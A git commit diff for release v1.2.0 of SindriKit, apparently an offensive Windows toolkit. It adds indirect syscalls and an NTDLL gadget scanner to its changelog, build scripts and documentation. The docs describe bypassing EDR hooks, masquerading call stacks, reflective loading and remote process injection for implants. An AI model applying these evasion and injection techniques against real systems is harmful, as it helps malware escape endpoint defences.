Release v1.2.0: Indirect Syscalls & Pipeline Decoupling

- Implemented fully decoupled direct and indirect syscall invocation
- Added dynamic PEB-based gadget scanning (syscall; ret / sysenter)
- Added x86 & x64 inline MASM stubs with proper stack frame alignment
- Introduced SND_USE_DEFAULTS compile-time OpSec macro for lean payload compilation
- Extensive documentation across all primitives and examples
This commit is contained in:
sibouzitoun
2026-06-29 19:31:15 +01:00
parent f7d17fde33
commit b7d3cf717c
43 changed files with 727 additions and 173 deletions
+16
View File
@@ -6,6 +6,22 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
--- ---
## [1.2.0] - 2026-06-29
Third major release. The framework introduces indirect syscalls and significantly improves the execution pipeline's flexibility and operator experience.
### Major Additions
- **Indirect Syscalls**: Architecture updated to decouple SSN resolution from invocation. Supports switching between direct and indirect syscall invocation dynamically.
- **Gadget Finder (`snd_syscall_find_gadget_scan`)**: Dynamically locates the `syscall; ret` (x64) or OS-transition instructions (x86) from the natively loaded `ntdll.dll` in the PEB to properly masquerade the call stack.
- **x86/x64 Support**: Full indirect syscall assembly stubs for both architectures (`invoke_indirect_x64.asm`, `invoke_indirect_x86.asm`), including proper stack frame alignment and teardown.
### Architecture & Refactoring
- **Compile-Time Defaults (`SND_USE_DEFAULTS`)**: Added a CMake flag to pre-configure the pipeline's globals (invoker, gadget finder, and primary resolver). Implemented as a macro for OpSec to prevent linking unused scanner/ASM dependencies when disabled.
- **Pipeline Overhaul**: Replaced `snd_syscall_strategy_set` terminology with `snd_syscall_set_resolver` and added `snd_syscall_set_invoker` / `snd_syscall_set_gadget_finder` to manage the decoupled execution flow.
- **Documentation**: Extensive documentation overhaul across all primitives, examples, PoCs, and architecture files to reflect the new pipeline structure and OpSec considerations.
---
## [1.1.0] - 2026-06-26 ## [1.1.0] - 2026-06-26
Second major release. The framework grows from a reflective-loader-centric engine into a multi-domain toolkit with expanded primitives, reorganized headers, and comprehensive documentation. Second major release. The framework grows from a reflective-loader-centric engine into a multi-domain toolkit with expanded primitives, reorganized headers, and comprehensive documentation.
+8 -2
View File
@@ -8,6 +8,7 @@ option(SND_BUILD_PAYLOADS "Build bundled PoC loaders" OFF)
option(SND_BUILD_TESTS "Build test binaries (DLLs and EXEs)" OFF) option(SND_BUILD_TESTS "Build test binaries (DLLs and EXEs)" OFF)
option(SND_CRTLESS "Build the framework for pure CRT-less operation" OFF) option(SND_CRTLESS "Build the framework for pure CRT-less operation" OFF)
option(SND_RANDOMIZE_SEED "Use randomized seed for compile-time hashes" OFF) option(SND_RANDOMIZE_SEED "Use randomized seed for compile-time hashes" OFF)
option(SND_USE_DEFAULTS "Use sensible defaults for configuration globals" OFF)
# --- Configuration Guards --- # --- Configuration Guards ---
if(SND_CRTLESS) if(SND_CRTLESS)
@@ -29,11 +30,11 @@ endif()
# --- Architecture-specific assembly --- # --- Architecture-specific assembly ---
if(CMAKE_SIZEOF_VOID_P EQUAL 8) if(CMAKE_SIZEOF_VOID_P EQUAL 8)
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_x64.asm) set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x64.asm src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm)
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x64.asm) set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x64.asm)
set(HEAVENSGATE_ASM "") set(HEAVENSGATE_ASM "")
else() else()
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_x86.asm) set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x86.asm src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm)
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x86.asm) set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x86.asm)
set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/asm/heavens_gate_x86.asm) set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/asm/heavens_gate_x86.asm)
endif() endif()
@@ -110,6 +111,7 @@ add_library(sindri_engine STATIC
src/primitives/execution/syscalls/syscalls.c src/primitives/execution/syscalls/syscalls.c
src/primitives/execution/syscalls/syscalls_scan.c src/primitives/execution/syscalls/syscalls_scan.c
src/primitives/execution/syscalls/syscalls_sort.c src/primitives/execution/syscalls/syscalls_sort.c
src/primitives/execution/syscalls/gadget_scan.c
# Assembly & generated # Assembly & generated
${SYSCALL_ASM} ${SYSCALL_ASM}
@@ -157,6 +159,10 @@ target_compile_definitions(sindri_engine PUBLIC
SND_HASH_${SND_HASH_ALGO}=1 SND_HASH_${SND_HASH_ALGO}=1
) )
if(SND_USE_DEFAULTS)
target_compile_definitions(sindri_engine PUBLIC SND_USE_DEFAULTS=1)
endif()
# --- Compiler warnings --- # --- Compiler warnings ---
if(MSVC) if(MSVC)
target_compile_options(sindri_engine PRIVATE target_compile_options(sindri_engine PRIVATE
+17 -4
View File
@@ -105,10 +105,16 @@ SindriKit treats syscall resolution as an injectable mechanic, stacking strategi
```c ```c
snd_syscall_set_ntdll(clean_ntdll); snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
``` ```
The invoker is decoupled from SSN resolution — switch between direct and indirect syscalls without modifying domain code. Indirect invocation jumps to a legitimate NTDLL gadget, keeping the syscall return address within `ntdll.dll`.
### Compile-Time Algorithm Agility ### Compile-Time Algorithm Agility
Every API name and module string is removed from the final binary at compile time via a single CMake variable: Every API name and module string is removed from the final binary at compile time via a single CMake variable:
@@ -147,10 +153,16 @@ Bootstrap the syscall pipeline once (typical pattern):
PVOID clean_ntdll = NULL; PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll); snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_syscall_set_ntdll(clean_ntdll); snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
``` ```
The invoker is decoupled from SSN resolution — switch between direct and indirect syscalls without modifying domain code. Indirect invocation jumps to a legitimate NTDLL gadget, keeping the syscall return address within `ntdll.dll`.
Swap execution profile with one assignment: Swap execution profile with one assignment:
```c ```c
@@ -177,6 +189,7 @@ The standard deployment configuration for operational binaries. Every diagnostic
set(SND_ENABLE_DEBUG OFF CACHE BOOL "") set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "") set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "") set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_USE_DEFAULTS ON CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "") set(SND_HASH_ALGO "DJB2" CACHE STRING "")
add_subdirectory(vendor/SindriKit) add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine) target_link_libraries(my_tool PRIVATE sindri::engine)
+8 -2
View File
@@ -1,7 +1,7 @@
@echo off @echo off
setlocal setlocal
set CMAKE_FLAGS=-DSND_ENABLE_DEBUG=OFF set CMAKE_FLAGS=-DSND_ENABLE_DEBUG=OFF -DSND_USE_PRINTF=OFF -DSND_BUILD_TESTS=OFF -DSND_BUILD_PAYLOADS=OFF -DSND_CRTLESS=OFF -DSND_RANDOMIZE_SEED=OFF -DSND_USE_DEFAULTS=OFF
set BUILD_TIER=SILENT set BUILD_TIER=SILENT
set BUILD_OUTPUT=DEBUGGER set BUILD_OUTPUT=DEBUGGER
set HASH_ALGO=DJB2 set HASH_ALGO=DJB2
@@ -10,6 +10,7 @@ set BUILD_POCS=OFF
set BUILD_CRTLESS=OFF set BUILD_CRTLESS=OFF
set CLEAN_BUILD=OFF set CLEAN_BUILD=OFF
set RANDOMIZE=OFF set RANDOMIZE=OFF
set USE_DEFAULTS=OFF
:parse_args :parse_args
if "%~1"=="" goto :done_args if "%~1"=="" goto :done_args
@@ -42,10 +43,13 @@ if /I "%~1"=="debug" (
) else if /I "%~1"=="random" ( ) else if /I "%~1"=="random" (
set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_RANDOMIZE_SEED=ON set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_RANDOMIZE_SEED=ON
set RANDOMIZE=ON set RANDOMIZE=ON
) else if /I "%~1"=="defaults" (
set CMAKE_FLAGS=%CMAKE_FLAGS% -DSND_USE_DEFAULTS=ON
set USE_DEFAULTS=ON
) else ( ) else (
echo [!] Unknown argument: %~1 echo [!] Unknown argument: %~1
echo. echo.
echo Usage: build.bat [debug] [console] [djb2^|fnv1a] [tests] [pocs] [crtless] [clean] [random] echo Usage: build.bat [debug] [console] [djb2^|fnv1a] [tests] [pocs] [crtless] [clean] [random] [defaults]
echo. echo.
echo debug Enable debug prints ^(default: silent^) echo debug Enable debug prints ^(default: silent^)
echo console Use printf output ^(default: OutputDebugString^) echo console Use printf output ^(default: OutputDebugString^)
@@ -56,6 +60,7 @@ if /I "%~1"=="debug" (
echo crtless Build CRT-less echo crtless Build CRT-less
echo clean Delete build dirs before compiling echo clean Delete build dirs before compiling
echo random Use randomized seed for compile-time hashes echo random Use randomized seed for compile-time hashes
echo defaults Use sensible defaults for configuration globals
exit /b 1 exit /b 1
) )
shift shift
@@ -72,6 +77,7 @@ echo [*] Tests : %BUILD_TESTS%
echo [*] PoCs : %BUILD_POCS% echo [*] PoCs : %BUILD_POCS%
echo [*] CRTless : %BUILD_CRTLESS% echo [*] CRTless : %BUILD_CRTLESS%
echo [*] Random : %RANDOMIZE% echo [*] Random : %RANDOMIZE%
echo [*] Defaults: %USE_DEFAULTS%
echo. echo.
if "%CLEAN_BUILD%"=="ON" ( if "%CLEAN_BUILD%"=="ON" (
+8 -3
View File
@@ -76,7 +76,7 @@ There is **no** `snd_mod_sys`. Import resolution during reflective load uses PEB
|---|---|---| |---|---|---|
| `_win` | Documented Win32 APIs | memory, modules, mapping, process | | `_win` | Documented Win32 APIs | memory, modules, mapping, process |
| `_nt` | NT function pointers resolved via PEB walk + EAT parse | memory, modules, mapping, process | | `_nt` | NT function pointers resolved via PEB walk + EAT parse | memory, modules, mapping, process |
| `_sys` | Direct syscalls (`snd_syscall_invoke_asm`) | memory, mapping, process — **not** modules | | `_sys` | Direct or indirect syscalls (configurable invoker) | memory, mapping, process — **not** modules |
### OpSec profile examples ### OpSec profile examples
@@ -99,8 +99,13 @@ PVOID ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); // or disk / PEB snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); // or disk / PEB
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
``` ```
This is **global execution state**, not part of any DI table. Implant init code runs it once; all `_sys` tables benefit. This is **global execution state**, not part of any DI table. Implant init code runs it once; all `_sys` tables benefit.
+7 -2
View File
@@ -47,8 +47,13 @@ static snd_status_t bootstrap_engine(void) {
return status; return status;
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
return SND_OK; return SND_OK;
} }
+9 -9
View File
@@ -10,19 +10,19 @@ The former monolithic `helpers.h` and `nt_defs.h` were split for clarity:
``` ```
include/sindri/common/ include/sindri/common/
├── macros.h compiler / linkage macros (was part of helpers) ├── macros.h <- compiler / linkage macros (was part of helpers)
├── memory.h bounds + memzero/memcpy + SND_PTR_ADD ├── memory.h <- bounds + memzero/memcpy + SND_PTR_ADD
├── string.h ASCII + wide string helpers (new wide APIs) ├── string.h <- ASCII + wide string helpers (new wide APIs)
├── buffer.h tracked buffers ├── buffer.h <- tracked buffers
├── hash.h ├── hash.h
├── status.h ├── status.h
├── debug.h debug macros (was mixed into helpers) ├── debug.h <- debug macros (was mixed into helpers)
└── disk.h └── disk.h
include/sindri/internal/nt/ was sindri/internal/nt_defs.h include/sindri/internal/nt/ <- was sindri/internal/nt_defs.h
├── types.h NT structs, SND_PAGE_SIZE, unicode init ├── types.h <- NT structs, SND_PAGE_SIZE, unicode init
├── api.h Nt* typedefs ├── api.h <- Nt* typedefs
└── peb.h PEB / LDR layouts └── peb.h <- PEB / LDR layouts
``` ```
--- ---
+3 -3
View File
@@ -10,10 +10,10 @@ Each technique adds engine functions and chains under a subdirectory but mutates
``` ```
include/sindri/injection/ include/sindri/injection/
├── context.h shared across ALL techniques ├── context.h <- shared across ALL techniques
└── classic/ └── classic/
├── engine.h per-stage classic engine ├── engine.h <- per-stage classic engine
└── chain.h snd_inj_classic_shell, snd_inj_classic_pe └── chain.h <- snd_inj_classic_shell, snd_inj_classic_pe
``` ```
Loader contexts are **per-technique** (`snd_ldr_pe_ctx_t` today). Loader contexts are **per-technique** (`snd_ldr_pe_ctx_t` today).
+1 -1
View File
@@ -100,7 +100,7 @@ The PE chain deliberately interleaves loader and injection stages so relocations
| 1 | Loader | `snd_pe_parse(ldr_ctx->raw_source, FALSE, &ldr_ctx->pe)``SND_STAGE_PARSED` | | 1 | Loader | `snd_pe_parse(ldr_ctx->raw_source, FALSE, &ldr_ctx->pe)``SND_STAGE_PARSED` |
| 2 | Loader | `snd_ldr_pe_compatibility_check` | | 2 | Loader | `snd_ldr_pe_compatibility_check` |
| 3 | Loader | `snd_ldr_pe_allocate_and_copy_image` — local RW mapping | | 3 | Loader | `snd_ldr_pe_allocate_and_copy_image` — local RW mapping |
| 4 | Injection | `inj_ctx->payload` local mapped buffer (`local_base`, `allocated_size`) | | 4 | Injection | `inj_ctx->payload` <- local mapped buffer (`local_base`, `allocated_size`) |
| 5 | Injection | `snd_inj_classic_open_target` | | 5 | Injection | `snd_inj_classic_open_target` |
| 6 | Injection | `snd_inj_classic_alloc_remote` — remote RW region sized to `allocated_size` | | 6 | Injection | `snd_inj_classic_alloc_remote` — remote RW region sized to `allocated_size` |
| 7 | Loader | `ldr_ctx->target.execution_base = inj_ctx->remote_base` | | 7 | Loader | `ldr_ctx->target.execution_base = inj_ctx->remote_base` |
+2 -2
View File
@@ -57,8 +57,8 @@ Loaders and injection PoCs use KnownDlls to bootstrap clean `ntdll` for syscall
``` ```
include/sindri/loaders/ include/sindri/loaders/
├── reflective/ implemented (snd_ldr_pe_ctx_t) ├── reflective/ <- implemented (snd_ldr_pe_ctx_t)
└── <technique>/ future, technique-specific context + engine + chain └── <technique>/ <- future, technique-specific context + engine + chain
``` ```
Each technique owns its context struct, stage enum, engine functions, and chain orchestrator. Each technique owns its context struct, stage enum, engine functions, and chain orchestrator.
+6 -2
View File
@@ -169,8 +169,12 @@ Typical sequence before `snd_mem_sys` / `snd_proc_sys`:
PVOID clean_ntdll = NULL; PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll); snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_syscall_set_ntdll(clean_ntdll); snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
``` ```
--- ---
+1 -1
View File
@@ -13,7 +13,7 @@ Foundation layer for SindriKit. Loaders, injection, and future domains rely on i
| [modules/](modules/) | `snd_mod_win`, `snd_mod_nt` (no `_sys`) | | [modules/](modules/) | `snd_mod_win`, `snd_mod_nt` (no `_sys`) |
| [mapping/](mapping/) | `snd_map_win`, `snd_map_nt`, `snd_map_sys`, KnownDlls | | [mapping/](mapping/) | `snd_map_win`, `snd_map_nt`, `snd_map_sys`, KnownDlls |
| [process/](process/) | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` | | [process/](process/) | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` |
| [syscalls/](syscalls/) | SSN resolution pipeline, `snd_syscall_invoke_asm` | | [syscalls/](syscalls/) | SSN resolution pipeline, configurable invoker (direct / indirect) |
| [execution/](execution/) | FFI (`snd_ffi_execute`), Heaven's Gate | | [execution/](execution/) | FFI (`snd_ffi_execute`), Heaven's Gate |
Contract definitions: `include/sindri/primitives/os_api.h` Contract definitions: `include/sindri/primitives/os_api.h`
+16 -13
View File
@@ -8,7 +8,7 @@ Low-level mechanisms for **calling unknown function signatures**, **crossing WoW
|---|---| |---|---|
| `sindri/primitives/ffi.h` | `snd_ffi_execute` — dynamic call bridge for resolved exports | | `sindri/primitives/ffi.h` | `snd_ffi_execute` — dynamic call bridge for resolved exports |
| `sindri/primitives/heavens_gate.h` | `snd_is_wow64`, `snd_hg_execute_64` — WoW64 → native x64 | | `sindri/primitives/heavens_gate.h` | `snd_is_wow64`, `snd_hg_execute_64` — WoW64 → native x64 |
| `sindri/primitives/syscalls.h` | SSN resolution pipeline + `snd_syscall_invoke_asm` (documented under [syscalls/](../syscalls/)) | | `sindri/primitives/syscalls.h` | SSN resolution pipeline + `snd_syscall_direct_invoke_asm` / `snd_syscall_indirect_invoke_asm` (documented under [syscalls/](../syscalls/)) |
All three are pulled in by `include/sindri/primitives.h` and `include/sindri.h`. All three are pulled in by `include/sindri/primitives.h` and `include/sindri.h`.
@@ -19,21 +19,24 @@ Implementation lives under `src/primitives/execution/`:
``` ```
src/primitives/execution/ src/primitives/execution/
├── ffi/ ├── ffi/
│ ├── ffi_invoke.c snd_ffi_execute validation + dispatch │ ├── ffi_invoke.c <- snd_ffi_execute validation + dispatch
│ └── asm/ │ └── asm/
│ ├── ffi_x64.asm snd_ffi_bridge_x64 │ ├── ffi_x64.asm <- snd_ffi_bridge_x64
│ └── ffi_x86.asm snd_ffi_bridge_x86 │ └── ffi_x86.asm <- snd_ffi_bridge_x86
├── heavens_gate/ ├── heavens_gate/
│ ├── heavens_gate.c WoW64 detection + argument padding │ ├── heavens_gate.c <- WoW64 detection + argument padding
│ └── asm/ │ └── asm/
│ └── heavens_gate_x86.asm snd_hg_invoke_x86 (CS 0x33 transition) │ └── heavens_gate_x86.asm <- snd_hg_invoke_x86 (CS 0x33 transition)
└── syscalls/ └── syscalls/
├── syscalls.c strategy chain, snd_syscall_resolve ├── syscalls.c <- strategy chain, snd_syscall_resolve
├── syscalls_scan.c snd_syscall_resolve_ssn_scan ├── syscalls_scan.c <- snd_syscall_resolve_ssn_scan
├── syscalls_sort.c snd_syscall_resolve_ssn_sort ├── syscalls_sort.c <- snd_syscall_resolve_ssn_sort
└── asm/ ├── gadget_scan.c <- snd_syscall_find_gadget_scan
── invoke_x64.asm ← snd_syscall_invoke_asm (x64) ── asm/
── invoke_x86.asm snd_syscall_invoke_asm (x86) ── invoke_direct_x64.asm <- snd_syscall_direct_invoke_asm (x64)
├── invoke_direct_x86.asm <- snd_syscall_direct_invoke_asm (x86)
├── invoke_indirect_x64.asm <- snd_syscall_indirect_invoke_asm (x64)
└── invoke_indirect_x86.asm <- snd_syscall_indirect_invoke_asm (x86)
``` ```
Syscall resolution and invocation are documented in the dedicated [syscalls](../syscalls/) subtree; this directory focuses on FFI and Heaven's Gate. Syscall resolution and invocation are documented in the dedicated [syscalls](../syscalls/) subtree; this directory focuses on FFI and Heaven's Gate.
@@ -56,6 +59,6 @@ DllMain, TLS, and EXE entry use **typed direct calls** inside `snd_ldr_pe_execut
## Related documentation ## Related documentation
- [Syscalls domain](../syscalls/README.md) — SSN engines, bootstrap, `snd_syscall_invoke_asm` - [Syscalls domain](../syscalls/README.md) — SSN engines, bootstrap, `snd_syscall_direct_invoke_asm` / `snd_syscall_indirect_invoke_asm`
- [Loaders: DLL export FFI](../../loaders/techniques.md) - [Loaders: DLL export FFI](../../loaders/techniques.md)
- [PoC: heavens_gate](../../../examples/heavens_gate.md) - [PoC: heavens_gate](../../../examples/heavens_gate.md)
@@ -2,7 +2,7 @@
Public headers: `include/sindri/primitives/ffi.h`, `include/sindri/primitives/heavens_gate.h`. Public headers: `include/sindri/primitives/ffi.h`, `include/sindri/primitives/heavens_gate.h`.
For the syscall surface (`snd_syscall_resolve`, `snd_syscall_invoke_asm`, strategy pipeline), see [syscalls/api_reference.md](../syscalls/api_reference.md). For the syscall surface (`snd_syscall_resolve`, `snd_syscall_direct_invoke_asm`, `snd_syscall_indirect_invoke_asm`, strategy pipeline), see [syscalls/api_reference.md](../syscalls/api_reference.md).
--- ---
@@ -93,6 +93,7 @@ snd_status_t snd_hg_execute_64(
| `snd_ffi_bridge_x64` | `ffi/asm/ffi_x64.asm` | x64 fast-call + shadow space | | `snd_ffi_bridge_x64` | `ffi/asm/ffi_x64.asm` | x64 fast-call + shadow space |
| `snd_ffi_bridge_x86` | `ffi/asm/ffi_x86.asm` | Reverse-order stack push, ESP restore | | `snd_ffi_bridge_x86` | `ffi/asm/ffi_x86.asm` | Reverse-order stack push, ESP restore |
| `snd_hg_invoke_x86` | `heavens_gate/asm/heavens_gate_x86.asm` | Far return to CS `0x33`, x64 call | | `snd_hg_invoke_x86` | `heavens_gate/asm/heavens_gate_x86.asm` | Far return to CS `0x33`, x64 call |
| `snd_syscall_invoke_asm` | `syscalls/asm/invoke_x64.asm` or `invoke_x86.asm` (arch-selected) | Direct `syscall` instruction stub | | `snd_syscall_direct_invoke_asm` | `syscalls/asm/invoke_direct_x64.asm` or `invoke_direct_x86.asm` | Direct `syscall` / `sysenter` instruction stub |
| `snd_syscall_indirect_invoke_asm` | `syscalls/asm/invoke_indirect_x64.asm` or `invoke_indirect_x86.asm` | Indirect syscall via NTDLL gadget |
These are linked into `sindri::engine`; callers use the C wrappers above. These are linked into `sindri::engine`; callers use the C wrappers above.
@@ -41,7 +41,7 @@ The `snd_map_sys` implementation invokes `NtOpenSection`, `NtMapViewOfSection`,
Direct syscalls bypass userland EDR hooks placed inside `ntdll.dll` stubs. This is the preferred backend for stealth KnownDlls mapping once the syscall pipeline is bootstrapped. Direct syscalls bypass userland EDR hooks placed inside `ntdll.dll` stubs. This is the preferred backend for stealth KnownDlls mapping once the syscall pipeline is bootstrapped.
> [!WARNING] > [!WARNING]
> `snd_map_sys` requires the operator to configure the syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_strategy_set`, `snd_syscall_strategy_add`) before invocation. Unconfigured pipelines cause immediate resolution failures. > `snd_map_sys` requires the operator to configure the syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_set_resolver`, `snd_syscall_set_invoker`) before invocation. Unconfigured pipelines cause immediate resolution failures.
## KnownDlls Bootstrapping ## KnownDlls Bootstrapping
@@ -56,8 +56,12 @@ if (SND_FAILED(status)) {
// Feed the mapped image into the syscall pipeline // Feed the mapped image into the syscall pipeline
snd_syscall_set_ntdll(clean_ntdll); snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
``` ```
The helper builds the full Object Manager path (`SND_TARGET_KNOWNDLLS_DIR` + DLL name), calls `open` and `view`, then closes the section handle. The mapped view remains valid after the handle is closed. The helper builds the full Object Manager path (`SND_TARGET_KNOWNDLLS_DIR` + DLL name), calls `open` and `view`, then closes the section handle. The mapped view remains valid after the handle is closed.
+7 -3
View File
@@ -45,12 +45,16 @@ Direct syscalls bypass userland EDR hooks inside `ntdll.dll` stubs. The kernel r
> [!WARNING] > [!WARNING]
> `snd_mem_sys` requires the operator to bootstrap the syscall pipeline before invocation: > `snd_mem_sys` requires the operator to bootstrap the syscall pipeline before invocation:
> >
> ```c > ```c
> snd_syscall_set_ntdll(clean_ntdll_base); > snd_syscall_set_ntdll(clean_ntdll_base);
> snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); > snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
> snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); > snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
> snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
> // or for indirect syscalls:
> // snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
> // snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
> ``` > ```
>
> If the pipeline is not configured, syscall resolution fails immediately and all `_sys` memory calls return an error. > If the pipeline is not configured, syscall resolution fails immediately and all `_sys` memory calls return an error.
## Mixing Backends ## Mixing Backends
@@ -45,7 +45,7 @@ Remote thread creation uses `NtCreateThreadEx` with the same access mask (`0x1FF
Direct syscalls bypass userland EDR hooks on `ntdll.dll` stubs. This is the preferred backend for stealth injection profiles. Direct syscalls bypass userland EDR hooks on `ntdll.dll` stubs. This is the preferred backend for stealth injection profiles.
> [!WARNING] > [!WARNING]
> `snd_proc_sys` requires a bootstrapped syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_strategy_set`, `snd_syscall_strategy_add`) before any `_sys` process call. See the [Syscall Primitives](../syscalls/README.md) documentation. > `snd_proc_sys` requires a bootstrapped syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_set_resolver`, `snd_syscall_set_invoker`) before any `_sys` process call. See the [Syscall Primitives](../syscalls/README.md) documentation.
## Injection Integration ## Injection Integration
+38 -7
View File
@@ -1,12 +1,12 @@
# Syscall Primitives # Syscall Primitives
Direct syscall invocation bypasses hooked `ntdll.dll` stubs by resolving System Service Numbers (SSNs) and executing the `syscall` instruction from custom ASM stubs. Direct and indirect syscall invocation bypasses hooked `ntdll.dll` stubs by resolving System Service Numbers (SSNs) and executing the `syscall` instruction from custom ASM stubs — either inline (direct) or by jumping to a legitimate NTDLL gadget (indirect).
**Header:** `include/sindri/primitives/syscalls.h` **Header:** `include/sindri/primitives/syscalls.h`
**Implementation:** `src/primitives/execution/syscalls/` **Implementation:** `src/primitives/execution/syscalls/`
> [!WARNING] > [!WARNING]
> **Bootstrap required:** Call `snd_syscall_set_ntdll()` and configure at least one strategy via `snd_syscall_strategy_set()` before `snd_syscall_resolve()`. `_sys` memory/process/mapping backends depend on this pipeline. > **Bootstrap required:** Call `snd_syscall_set_ntdll()`, configure at least one strategy via `snd_syscall_set_resolver()`, and configure the invoker via `snd_syscall_set_invoker()` before `snd_syscall_resolve()`. For indirect invocation, also set a gadget finder via `snd_syscall_set_gadget_finder()`. With `SND_USE_DEFAULTS=ON`, only `snd_syscall_set_ntdll()` is required — the resolver, invoker, and gadget finder are pre-configured at compile time. `_sys` memory/process/mapping backends depend on this pipeline.
## How `_sys` primitives use syscalls ## How `_sys` primitives use syscalls
@@ -14,10 +14,18 @@ Direct syscall invocation bypasses hooked `ntdll.dll` stubs by resolving System
snd_mem_sys / snd_proc_sys / snd_map_sys snd_mem_sys / snd_proc_sys / snd_map_sys
snd_syscall_resolve(func_hash) cascading strategy chain snd_syscall_resolve(func_hash) <- cascading strategy chain
snd_syscall_invoke_asm(&args) ← x64/x86 ASM stub (gadget finder, if indirect) <- locates syscall/sysenter gadget in NTDLL
g_syscall_invoker(&args) <- dispatches to configured ASM stub
┌───┴───────────────────┐
▼ ▼
snd_syscall_direct_ snd_syscall_indirect_
invoke_asm invoke_asm
``` ```
Function hashes come from `sindri_hashes.h` (build-generated, e.g. `SND_HASH_NTALLOCATEVIRTUALMEMORY`). Function hashes come from `sindri_hashes.h` (build-generated, e.g. `SND_HASH_NTALLOCATEVIRTUALMEMORY`).
@@ -29,15 +37,38 @@ Function hashes come from `sindri_hashes.h` (build-generated, e.g. `SND_HASH_NTA
